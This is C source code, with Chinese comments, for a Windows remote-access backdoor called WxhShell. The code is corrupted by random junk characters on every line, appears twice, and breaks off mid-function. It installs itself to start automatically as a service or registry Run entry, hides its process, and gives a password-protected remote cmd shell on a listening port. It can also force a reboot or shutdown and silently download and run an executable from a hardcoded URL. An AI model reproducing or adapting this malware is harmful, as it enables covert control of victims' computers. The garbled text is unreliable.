    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZC&~InN  
    if(Boot(SHUTDOWN)) 2{G7ignv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q#0yu"<  
    else { G&yF9s)Lvs  
    closesocket(wsh); [3] h(D  
    ExitThread(0); aSeh?2n8  
    } zB"y^g  
    break; b:&= W>r  
    } rD>q/,X=\  
  // 获取shell R;w1& Z  
  case 's': { L @8[.  
    CmdShell(wsh); NV^n}]ci  
    closesocket(wsh); 8WwLKZ}  
    ExitThread(0); AVp"<Uv  
    break; VKr oikz@]  
  } ,*wj~NE  
  // 退出 "; ?^gA  
  case 'x': { PR>%@-Vgj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >;X^+JH!)  
    CloseIt(wsh); cV* 0+5  
    break; (!<G` ;}u  
    } -<5H8P-  
  // 离开 B 3eNvUFZg  
  case 'q': { P' k`H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (<yQA. M  
    closesocket(wsh); 3 J\&t4q  
    WSACleanup(); ,) }-mu  
    exit(1); gk"J+uM  
    break; g@S?5S.Av  
        } E"%G@,|3*  
  } ;hPo5uZQ  
  } y/ah<Y0(  
D?cE$P  
  // 提示信息 ;<v9i#K5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5?MKx!%  
} K9UWyM<(2C  
  } ;gW?Fnry;  
p:qj.ukw  
  return; qC YXkZ%`  
} ?;Ge/~QU5  
ON$-g_s>)  
// shell模块句柄 B ? D|B  
int CmdShell(SOCKET sock) [3hOc/]s  
{ RkBbu4uQ-  
STARTUPINFO si; n5 jzVv  
ZeroMemory(&si,sizeof(si)); Y&`nB,'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \YsYOFc|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t>%J3S>'ZV  
PROCESS_INFORMATION ProcessInfo; Yc1ve  
char cmdline[]="cmd"; 4O3-PU>N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZIM 5$JdCv  
  return 0; {AqPQeNgz  
} hlTM<E  
SgPvQ'\  
// 自身启动模式 9!oNyqQ  
int StartFromService(void) .TetN}w  
{ /CN`U7:E  
typedef struct p/inATH  
{ *f$wmZ5A  
  DWORD ExitStatus; 69u"/7X  
  DWORD PebBaseAddress; y2 ,M9  
  DWORD AffinityMask; )F) (Hg  
  DWORD BasePriority; S-k:+4  
  ULONG UniqueProcessId; 5m&Zq_Qe  
  ULONG InheritedFromUniqueProcessId; [.NG~ cpb  
}   PROCESS_BASIC_INFORMATION; *_7%n-k  
\`M8Mu9~w  
PROCNTQSIP NtQueryInformationProcess; Th)Z?\8zk  
2bk~6Osp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b$:<T7vei  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s!j[Ovtx  
rt[w yz8  
  HANDLE             hProcess; WD7IF+v  
  PROCESS_BASIC_INFORMATION pbi; G>);8T%l  
N8^ AH8l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P6ztP$M(  
  if(NULL == hInst ) return 0; :v!e8kM\x  
V>&WZY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mew,S)dq!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yy%'9E ldc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2=PX1kI  
$Dm2>:Dmt  
  if (!NtQueryInformationProcess) return 0; 0qj:v"~Q  
 ]%L?b-e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fGtUr _D  
  if(!hProcess) return 0; BB694   
)E.!jL:g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O IMsxXF\J  
:mwJJIjUW  
  CloseHandle(hProcess); pp#xN/V#a  
*+ql{\am4N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Is $I;`  
if(hProcess==NULL) return 0; .MzVc42<  
ST#MCh-00  
HMODULE hMod; B8Cic\2  
char procName[255]; x"9e eB,  
unsigned long cbNeeded; mu[:b  
+; P8QZK6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Nj<}t/e  
SCCBTpmf2B  
  CloseHandle(hProcess); wMB. p2  
O"$uw  
if(strstr(procName,"services")) return 1; // 以服务启动 Be=J*D!E=>  
h2SVDKj  
  return 0; // 注册表启动 `*J;4Ju@  
} 0Y_?r$M  
5v f?E"\r  
// 主模块 .>Gnb2  
int StartWxhshell(LPSTR lpCmdLine) K/,y"DUN&  
{ X2? ^t]-N  
  SOCKET wsl; >VQP,J{  
BOOL val=TRUE; hGPo{>xR  
  int port=0; yM *-e m  
  struct sockaddr_in door; :ub 4p4h*  
7hs1S|  
  if(wscfg.ws_autoins) Install(); <QlpIgr  
Q M#1XbT  
port=atoi(lpCmdLine); vdn`PS'#  
o=t@83Fh5  
if(port<=0) port=wscfg.ws_port; JumZ>\'p(  
bjQp6!TsZ  
  WSADATA data; ;"}yVV/4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6zmt^U   
RObo4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G E=J Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n9 LTrhLqp  
  door.sin_family = AF_INET; [g bYIwL.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #H'j;=]:  
  door.sin_port = htons(port); #DBg8  
emhI1 *}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Tz\ PQ)!  
closesocket(wsl); %h}Qf&U_  
return 1; wLF;nzv  
} 4pvT?s>68  
y$ L@!r/s  
  if(listen(wsl,2) == INVALID_SOCKET) { )\ `AD#  
closesocket(wsl); MI: rH  
return 1;  /$Qs1*  
} ~  4v  
  Wxhshell(wsl); DzfgPY_Py  
  WSACleanup(); kLsp0% 2  
 n[vwwY  
return 0; Ic 5TtN~/>  
B]KR*  
} -0QoVGw  
iyA=d{S;V  
// 以NT服务方式启动 \dm5Em/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9nM_LV  
{ '|I8byiK  
DWORD   status = 0; e=>:(^CS   
  DWORD   specificError = 0xfffffff; RP@U0o  
Xkqq$A4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `"(FWK=8)"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S55h}5Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N)I9NM[  
  serviceStatus.dwWin32ExitCode     = 0; 3WVH8Sb  
  serviceStatus.dwServiceSpecificExitCode = 0; yt'P,m  
  serviceStatus.dwCheckPoint       = 0; ^n|yfvR  
  serviceStatus.dwWaitHint       = 0; XIGz_g;#'w  
0N|l1Sn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x|b52<dLL&  
  if (hServiceStatusHandle==0) return; ]9 JLu8GO  
~'9\y"N1  
status = GetLastError(); :17Pc\:DS  
  if (status!=NO_ERROR) oe'f?IY  
{ ){nOM$W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %.h&W;  
    serviceStatus.dwCheckPoint       = 0; _o52#Q4   
    serviceStatus.dwWaitHint       = 0; +]3kcm7B  
    serviceStatus.dwWin32ExitCode     = status; eh39"s  
    serviceStatus.dwServiceSpecificExitCode = specificError; K7 J RCLA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S-f .NC}:i  
    return; Y&XO:jB  
  } 6~!QibA|P  
g@O H,h/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `SH14A*  
  serviceStatus.dwCheckPoint       = 0; Ka_g3  
  serviceStatus.dwWaitHint       = 0; @!Z1*a.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2il`'X  
} +a'LdEp  
DFXHD,o  
// 处理NT服务事件,比如:启动、停止 8\X-]Gh\^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8FIk|p|l^  
{ AI^!?nJ%'  
switch(fdwControl) k-N}tk/5  
{ |iA8aHFU  
case SERVICE_CONTROL_STOP: hm\UqIt  
  serviceStatus.dwWin32ExitCode = 0; &z]x\4#,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #z1/VZ  
  serviceStatus.dwCheckPoint   = 0; 2oF1do;  
  serviceStatus.dwWaitHint     = 0; LPeVr^  
  { B1V+CP3t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I7#^'/  
  } #`ZBA>FLaQ  
  return; 2lCgUe)N  
case SERVICE_CONTROL_PAUSE: 8og8;#mnyr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kz/"5gX:  
  break; &qzy?/i8  
case SERVICE_CONTROL_CONTINUE: bt};Pn{3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *3KSOcQ  
  break; mKqXB\<  
case SERVICE_CONTROL_INTERROGATE: 4?fpk9c{2  
  break; HUChg{[  
}; 2 :4o`o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8OMMV,QF  
} >m:n6M'r  
g%V#Z`*|  
// 标准应用程序主函数 D/ VEl{ba-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~"\WV4}`v  
{ RrT`]1".  
NcrBp(  
// 获取操作系统版本 w!pj);jy{  
OsIsNt=GetOsVer(); ~.4y* &  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qj/Zk [  
g=KvCqJN  
  // 从命令行安装 0CvGpM,  
  if(strpbrk(lpCmdLine,"iI")) Install(); E4'z  
ZWni5uF-c  
  // 下载执行文件 *8_Dn}u?Jx  
if(wscfg.ws_downexe) { &Dt=[yqeG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 764eXh  
  WinExec(wscfg.ws_filenam,SW_HIDE); }d>Xh8:%)  
} %{7*o5`  
U[2;Fkapi  
if(!OsIsNt) { DgK*> A  
// 如果时win9x,隐藏进程并且设置为注册表启动 V'gJtF  
HideProc(); o:&8H>(hn]  
StartWxhshell(lpCmdLine); p>i8aN  
} d >NO}MR  
else +!W:gA  
  if(StartFromService()) Qv`: E   
  // 以服务方式启动 5rfDm  
  StartServiceCtrlDispatcher(DispatchTable); en/h`h]h  
else jo0XF]  
  // 普通方式启动 pY[b[ezb  
  StartWxhshell(lpCmdLine); $P#x>#+[A  
_BY+Tfol  
return 0; ce#Iu#qT  
} >kxRsiKV  
}K@m4`T  
pKpB  
|x.^rx`  
=========================================== Phk3Jv  
b !y  
\<(EV,m2  
=+UtA f<n  
)/vom6y*   
?hGE[.(eh]  
" 6Q\|8a  
X.S<",a{qz  
#include <stdio.h> N*hV/"joZ  
#include <string.h> mj?Gc  
#include <windows.h> M]p-<R\  
#include <winsock2.h> vK@U K"m  
#include <winsvc.h> VBix8|  
#include <urlmon.h> #R:&Irh  
?}v/)hjp=?  
#pragma comment (lib, "Ws2_32.lib") zCQP9oK!  
#pragma comment (lib, "urlmon.lib") Bm,Vu 1]t  
UimofFmI%  
#define MAX_USER   100 // 最大客户端连接数 r180vbN$  
#define BUF_SOCK   200 // sock buffer = c Z24I  
#define KEY_BUFF   255 // 输入 buffer qEXN} Pq<  
,mHUo4h1O  
#define REBOOT     0   // 重启 m7y[Y  
#define SHUTDOWN   1   // 关机 [520!JhZY  
8Th,C{  
#define DEF_PORT   5000 // 监听端口 q`/J2r+O  
UO&$1rV  
#define REG_LEN     16   // 注册表键长度 ` 6*]cn#(  
#define SVC_LEN     80   // NT服务名长度 Q&vdBO/  
x55W"q7  
// 从dll定义API hHmm(~5gR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vm[*+&\2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |u?VlRt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p*,T~(A6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]"HaE-`%  
*|g[Mn  
// wxhshell配置信息 5N $XY@  
struct WSCFG { "r_wgl%  
  int ws_port;         // 监听端口 6 h#U,G  
  char ws_passstr[REG_LEN]; // 口令 dt:$:,"   
  int ws_autoins;       // 安装标记, 1=yes 0=no eGq7+  
  char ws_regname[REG_LEN]; // 注册表键名 KzO"$+M  
  char ws_svcname[REG_LEN]; // 服务名 7~QI4'e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |&JeJ0k>~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F/BR#J1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0=3)`v{S@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9/29>K_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DbH;DcV7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M)+pH  
rX?ZUw?u&  
}; N4C7I1ihq  
X2Z)> 10  
// default Wxhshell configuration uStAZ ~b\  
struct WSCFG wscfg={DEF_PORT, z``wqK  
    "xuhuanlingzhe", MXcW & b  
    1, LZe)_9$  
    "Wxhshell", 2L1 ,;  
    "Wxhshell", H,L{N'[Xph  
            "WxhShell Service", Pn OWQ8=  
    "Wrsky Windows CmdShell Service", 4)8VmCW  
    "Please Input Your Password: ", %r(WS_%K|  
  1, |} b+$J  
  "http://www.wrsky.com/wxhshell.exe", u3+B/ 5x  
  "Wxhshell.exe" R>"Fc/{y  
    }; ]qv0Y~+`-K  
X%5eZ"1{x  
// 消息定义模块 l(sVnhL6h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~SQ xFAto  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2uE<mjCt-r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w7?fJ")  
char *msg_ws_ext="\n\rExit."; Y)X7*iTi'j  
char *msg_ws_end="\n\rQuit."; Q!1;xw~  
char *msg_ws_boot="\n\rReboot..."; Yn }Gj'  
char *msg_ws_poff="\n\rShutdown..."; )Wk_|zO-  
char *msg_ws_down="\n\rSave to "; >%U+G0Fq  
^)gyKl:E'  
char *msg_ws_err="\n\rErr!"; ^_bG{du  
char *msg_ws_ok="\n\rOK!"; ( *+'k1Ea  
/=/Ki%hh  
char ExeFile[MAX_PATH]; \QK@wgu  
int nUser = 0; ?ZRF]\dP]  
HANDLE handles[MAX_USER]; ?8V.iHJk  
int OsIsNt; ,D+ydr  
Ocx"s\q(  
SERVICE_STATUS       serviceStatus; sg $db62>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;9T}h2^`B  
2@zduL'do_  
// 函数声明 j HHWq>=d  
int Install(void); qLDj\%~(  
int Uninstall(void); fkzSX8a9}  
int DownloadFile(char *sURL, SOCKET wsh); ~ 1h#  
int Boot(int flag); x"12$7 9=  
void HideProc(void); MuY:(zC%  
int GetOsVer(void); < xy@%  
int Wxhshell(SOCKET wsl); 1(?4*v@B  
void TalkWithClient(void *cs); sxREk99lL  
int CmdShell(SOCKET sock); &R72$H9C8i  
int StartFromService(void); C 5.3[  
int StartWxhshell(LPSTR lpCmdLine); '8X>,un  
K&|h%4O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G68KoM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y_'ERqQ  
l$;"yVdks  
// 数据结构和表定义 )5Khl"6!z  
SERVICE_TABLE_ENTRY DispatchTable[] = JY0aE  
{ dDaV2:4E  
{wscfg.ws_svcname, NTServiceMain}, h:%,>I%{  
{NULL, NULL} b' o]Y  
}; ~R!1{8HP  
*r`=hNr  
// 自我安装 i1 E|lp)  
int Install(void) ?,vLRq.  
{ _ .vG)  
  char svExeFile[MAX_PATH]; ?*fa5=ql  
  HKEY key; /s\ m V  
  strcpy(svExeFile,ExeFile); \H] |5fp*  
(g##wa)L  
// 如果是win9x系统,修改注册表设为自启动 fq7#rZCxX  
if(!OsIsNt) { <|Td0|x _q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o PSPb(.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uwNJM  
  RegCloseKey(key); |p|Zv H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -H-U8/WC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hg)Xr5>  
  RegCloseKey(key); @Kpm&vd(  
  return 0; :R;w<Tbz"  
    }  U4!bW  
  } h[ .  
} F]$ Nu  
else { n1-p/a.  
Xoe|]@U`  
// 如果是NT以上系统,安装为系统服务 ?JrUZXY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); noZbsI4  
if (schSCManager!=0)  0,Ds1y^  
{ W{6QvQD8  
  SC_HANDLE schService = CreateService /Ew()>Y  
  ( r&u1-%%9[  
  schSCManager, VE\L&d2S  
  wscfg.ws_svcname, _}l(i1o,/  
  wscfg.ws_svcdisp, A2'i~_e  
  SERVICE_ALL_ACCESS, $S6(V}yh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D;,p?]mgO~  
  SERVICE_AUTO_START, *6s_7{;  
  SERVICE_ERROR_NORMAL, o|xf2k  
  svExeFile, f1'ByV'2  
  NULL, TFSdb\g  
  NULL, a5a ;Fp  
  NULL, JYdb^j2c  
  NULL, z|g2Q#$-\S  
  NULL V.~kG ,Ht  
  ); !wYN",R-  
  if (schService!=0) zEQ]5>mG  
  { uYC^&siS<s  
  CloseServiceHandle(schService); 579Q&|L.  
  CloseServiceHandle(schSCManager); N8 sT?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $Itmm/M  
  strcat(svExeFile,wscfg.ws_svcname); (j8*F Bq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Jz8P':6[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F/v.hP_  
  RegCloseKey(key); L$ T2 bul  
  return 0; 8eT#- 9q@  
    } *l7 `C)  
  } x?i wtZ@  
  CloseServiceHandle(schSCManager); 1jC85^1Taq  
} =ejcP&-V/  
} 0:{W t  
h,[L6-n  
return 1; S^s-md>  
} l+;S$evY  
[if(B\&  
// 自我卸载 5<Kt"5Z%7  
int Uninstall(void) ` nX, x-UM  
{ ^gVQ6=z%  
  HKEY key; 4" ?`p;{Z  
W6?=9].gc  
if(!OsIsNt) { -Mo4`bN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )Kx.v'  
  RegDeleteValue(key,wscfg.ws_regname); u>fs yn9c  
  RegCloseKey(key); ?y|&Mz'XJ(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ww|fqx?  
  RegDeleteValue(key,wscfg.ws_regname); AO<T6 VK  
  RegCloseKey(key); (j>`+F5f  
  return 0; bU gg2iFS  
  } EWJB /iED  
} 6jpzyf=~  
} AMrYT+1  
else { tGOJ4 =  
mxqZj8VuH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?g1eW q&  
if (schSCManager!=0) ^E%R5JN  
{ %@QxU-k_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,DEq"VW_  
  if (schService!=0) c@>ztQU*  
  { aPJTH0u  
  if(DeleteService(schService)!=0) { /CALX wL  
  CloseServiceHandle(schService); Q`i@['?p  
  CloseServiceHandle(schSCManager); C.4(8~Y=~  
  return 0; K^x{rn.Zf  
  } h.-L_!1B7  
  CloseServiceHandle(schService); 2Ys=/mh  
  } ?z&n I#  
  CloseServiceHandle(schSCManager); ~{DJ,(N"n  
} a@g <cl7a,  
} 9ad`q+kY  
Xg.Lo2s  
return 1; Ft;x@!h%  
} }^I36$\  
)4fQ~)  
// 从指定url下载文件 ~_BjcY  
int DownloadFile(char *sURL, SOCKET wsh) koB'Zp/FaY  
{ uznqq}  
  HRESULT hr; 7OLHYt9  
char seps[]= "/"; `C_qqf  
char *token; O<fy^[r:`  
char *file; AQ FnS&Y  
char myURL[MAX_PATH]; H8g 6ZCU~  
char myFILE[MAX_PATH]; cZ%tJ(&\7X  
v2gk1a &  
strcpy(myURL,sURL); nK< v  
  token=strtok(myURL,seps); UDZ0ne0-  
  while(token!=NULL) Y'1 KH}sH  
  { T5`ML'Dej  
    file=token; 1N65 M=)  
  token=strtok(NULL,seps); U8aVI  
  } BN(=LQ2["  
|WUM=g7PC  
GetCurrentDirectory(MAX_PATH,myFILE); d&G]k!|\  
strcat(myFILE, "\\"); 9PV]bt,  
strcat(myFILE, file); {1=|H$wKg  
  send(wsh,myFILE,strlen(myFILE),0); |L*=\%t8  
send(wsh,"...",3,0); #Fo#f<b p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6wT ])84  
  if(hr==S_OK) {nM1$  
return 0; m*1  
else h#Rza-?"\  
return 1; l(x0d  
IkmEctAU  
} NsS;d^%I  
Fa`%MR1  
// 系统电源模块 a/s5Oit2'X  
int Boot(int flag) QiA}0q3]0  
{ Qm7];,  
  HANDLE hToken; ;t9!< L  
  TOKEN_PRIVILEGES tkp; 3O 4,LXdA  
PI$i_3N  
  if(OsIsNt) { A|K=>7n]U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6.tA$#6HP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oM>UIDCY_v  
    tkp.PrivilegeCount = 1; Nk7=[y#z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bLWY Tj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m<#^c?u  
if(flag==REBOOT) { THy?Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R<I#. KD  
  return 0; &=S:I!9;;  
} RX{} UmU<  
else { ]iW:YNvXA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z{ M2tLNb  
  return 0; gREk,4DAv  
} SHSfe{n  
  } S W6oaa81  
  else { [;yH.wn#5  
if(flag==REBOOT) { /Q)I5sL@E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9D`K#3}  
  return 0; 9 iJ$M!  
} u{HO6 s\S  
else { Odw'Ua  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tBJ4lb  
  return 0; N3lz-vP-  
} cR!M{U.q  
} wC%qSy'  
dg~lz80  
return 1; 8PVjNS/  
} qAd=i0{N  
31 <0Nw;l  
// win9x进程隐藏模块 f|_\GVW  
void HideProc(void) w-R.)  
{ C+M]"{Y+  
|.m)UFV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F7j/Zuj  
  if ( hKernel != NULL ) dG0zA D  
  { .`_iWfK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LjGZp"&{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <[ 2?~s  
    FreeLibrary(hKernel); WvArppANo  
  } ,W[J@4.  
?M|1'`!c8  
return; ?aWVfX!+G5  
} }.'rhR+  
t_!p({  
// 获取操作系统版本 _[E+D0A  
int GetOsVer(void) gd7r9yV  
{ *U%3 [6hm  
  OSVERSIONINFO winfo; j%y{d(Q4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); | ?vm.zp  
  GetVersionEx(&winfo); iSoQ1#MP)2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zdU 46|!u  
  return 1; d8agM/F*/  
  else Bf #cBI  
  return 0; =9 )k:S(  
} !Tv3WQ@  
9)W &yi  
// 客户端句柄模块 &V~l(1  
int Wxhshell(SOCKET wsl) 6YNL4HE?  
{ itirh"[  
  SOCKET wsh; MYjc6@=cR  
  struct sockaddr_in client; _ h#I}uJ~  
  DWORD myID; [(3s5)O  
`vOL3`P  
  while(nUser<MAX_USER) ZfqN4  
{ yj_> G  
  int nSize=sizeof(client); v ;}s`P\"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #6ePwd  
  if(wsh==INVALID_SOCKET) return 1; , p~1fB-/  
.S-)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K6-M.I  
if(handles[nUser]==0) [H <TcT8  
  closesocket(wsh); njX$?V   
else LYRpd  
  nUser++; qT(6TP  
  } lD3nz<p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `a MU2  
oS..y($TI  
  return 0; JL1A3G  
} 8vR_WHsL  
"t.` /4R2w  
// 关闭 socket rfEWh Vy(}  
void CloseIt(SOCKET wsh) =8?Kn@nMN  
{ / }$n_N\!)  
closesocket(wsh); wTa u.Bo  
nUser--; xxu  
ExitThread(0); b),fz  
} ^ U mYW  
@0@ZlH wM  
// 客户端请求句柄 :+PE1=v  
void TalkWithClient(void *cs) X^ Is-[OvE  
{ s||" } l  
I8 :e `L  
  SOCKET wsh=(SOCKET)cs; ciS,  
  char pwd[SVC_LEN]; 1Q>nS[  
  char cmd[KEY_BUFF]; kUgfFa#_  
char chr[1]; H TOr  
int i,j; Fa )QDBz)  
MY@&^71i4  
  while (nUser < MAX_USER) { }<0N)dpT  
]oB~8d  
if(wscfg.ws_passstr) { 9dhEQ=K{3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q# B0JT1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rKrHd  
  //ZeroMemory(pwd,KEY_BUFF); T^1 Z_|A  
      i=0; =+!l8o&o,  
  while(i<SVC_LEN) { ;ItH2Lw<&  
;2<5^hgk  
  // 设置超时 ;KlYiu  
  fd_set FdRead; EsMX #1>/m  
  struct timeval TimeOut; 4a-JC"  
  FD_ZERO(&FdRead); "r-P[EKpL  
  FD_SET(wsh,&FdRead); Mqr_w!8d  
  TimeOut.tv_sec=8; ?Afe }  
  TimeOut.tv_usec=0; kyJbV[o<#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }uZs)UQ|$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u=.8M`FxP  
q<dG}aj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7 $e6H|j@  
  pwd=chr[0]; %y6(+I #P  
  if(chr[0]==0xd || chr[0]==0xa) { -fq  
  pwd=0; +i&<`ov  
  break; VVas>/0qr  
  } 4 o*i(W  
  i++; X8$i*#D  
    } b6N[t _,  
l-+=Yk!X  
  // 如果是非法用户,关闭 socket *q=T1JY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /4&gA5BS]  
} k QuEG5n.-  
Muo E~K2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8s1nE_3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (~GQncqa  
yQK{ +w  
while(1) { MiT0!6Pg  
y{%0[x*N<m  
  ZeroMemory(cmd,KEY_BUFF); zjpZ] $  
]`/>hH>+~9  
      // 自动支持客户端 telnet标准   $ DL}jH^S  
  j=0; t6DSZ^Zq  
  while(j<KEY_BUFF) { }L\;W:0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ytZo0pad  
  cmd[j]=chr[0]; q/#e6;x  
  if(chr[0]==0xa || chr[0]==0xd) { *F\wWg'!B  
  cmd[j]=0; U#jz5<r  
  break; t'n@yX_  
  } V}jGxt0  
  j++; o(*\MT t?  
    } mUBy*.  
=;Gq:mHi  
  // 下载文件 nip6|dN  
  if(strstr(cmd,"http://")) { $.PRav  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !eW1d0n'+f  
  if(DownloadFile(cmd,wsh)) K./qu^+k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yw^Pok5.  
  else uo#1^`P  
